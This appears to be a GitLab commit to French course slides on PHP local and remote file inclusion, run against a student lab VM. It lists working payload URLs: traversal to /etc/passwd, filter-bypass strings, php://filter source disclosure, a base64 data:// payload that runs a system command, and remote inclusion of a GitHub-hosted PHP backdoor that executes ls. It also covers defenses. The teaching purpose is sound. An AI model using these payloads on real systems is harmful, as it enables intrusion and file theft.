Skip to content
Snippets Groups Projects
Commit 138015d5 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

add custom urls

parent 890fb226
No related branches found
No related tags found
No related merge requests found
Pipeline #11244 passed
......@@ -4,6 +4,9 @@
### Local File Inclusion / Remote File Inclusion
<small>nom d'utilisateur uca pour personnaliser les liens des slides:</small>
<input type="text" id="username" value="" style="width: 80%; font-size: 25px" />
## File Inclusion
......@@ -25,7 +28,7 @@ include($_REQUEST['filename']);
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd)
* [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`
......@@ -42,7 +45,7 @@ Note:
* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts`
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php)
* [/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
......@@ -65,11 +68,11 @@ allow_url_include=On # just for test purpose
## RFI / security low
* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small>
* <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small>
* <i class="fas fa-poop"></i> drôle mais pas très utile
* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <i class="fa-solid fa-poo"></i> un peu frustrant
......@@ -87,18 +90,11 @@ allow_url_include=On # just for test purpose
## RFI / backdoor
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small>
### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small>
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small>
## RFI / security medium
......@@ -110,14 +106,17 @@ allow_url_include=On # just for test purpose
$file
);
```
<small>
* <small>`?page=hthttp://tp://www.google.fr`</small>
#### [wrappers php](https://www.php.net/manual/en/wrappers.php)
* <small>`?page=php://filter/convert.base64-encode/resource=file1.php`</small>
* [/?page=hthttp://tp://www.google.fr](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=hthttp://tp://www.google.fr)
* échapper l'échappement
* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php)
* récupère le code source php du fichier file1.php
* <small>`?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=`</small>
* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=)
* exécute `<?php system("hostname"); ?>`
</small>
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
......@@ -134,13 +133,17 @@ Note:
);
```
* <small>`?page=../../../../../etc/hosts`</small>
<small>
* [/?page=../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../../../../../etc/hosts)
* ne fonctionne plus
* <small>`?page=../..././..././..././..././..././etc/hosts`</small>
* [/?page=../..././..././..././..././..././etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* permet d'échapper l'échappement
* <small>`?page=/etc/passwd`</small>
* [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* Les paths absolus fonctionnent toujours
</small>
## LFI / security high
......@@ -152,12 +155,14 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
}
```
* accès au fichier caché
* <small>`?page=file4.php`</small>
<small>
* accès au fichier caché
* [/?page=file4.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file4.php)
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
* <small>`?page=file:///etc/hosts`</small>
* [/?page=file:///etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file:///etc/hosts)
* le dossier file n'existe pas mais php résout tout de même
* <small>`?page=file/../../../../../../etc/hosts`</small>
* [/?page=file/../../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file/../../../../../../etc/hosts)
## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
......@@ -172,7 +177,7 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* **.** inclue le fichier lui-même
* `.` inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
......@@ -188,10 +193,10 @@ Note:
## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* realpath()
* [realpath()](http://php.net/manual/fr/function.realpath.php)
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* basename()
* [basename()](http://php.net/manual/fr/function.basename.php)
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
......@@ -204,7 +209,7 @@ $filename = "/home/users/".$username.".txt";
readfile($filename);
```
peut être sécurisé via realpath() et basename()
peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = basename(realpath($_GET['user']));
......@@ -217,9 +222,9 @@ ne préserve pas d'une LFI dans le même répertoire
## <i class="fa fa-medkit"></i> Se préserver
* déscativer allow_url_include
* utiliser open_base_dir
* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php)
* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* filtrer ses entrées
* par listes blanches
* avec realpath() et basename()
\ No newline at end of file
* avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
\ No newline at end of file
"use strict";
document.addEventListener('DOMContentLoaded', function() {
console.log(document.getElementsByTagName("a"));
}, false);
Reveal.addEventListener( 'ready', function( event ) {
for (let a of document.getElementsByTagName("a")) {
let url = new URL(a.href);
if (
url.origin == "http://vm-etu-vimazeno.local.isima.fr"
&& document.getElementById("username").value != ""
) {
a.href = "http://vm-" + document.getElementById("username").value + ".local.isima.fr" + url.pathname + url.search;
a.target = "_blank";
}
}
} );
\ No newline at end of file
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment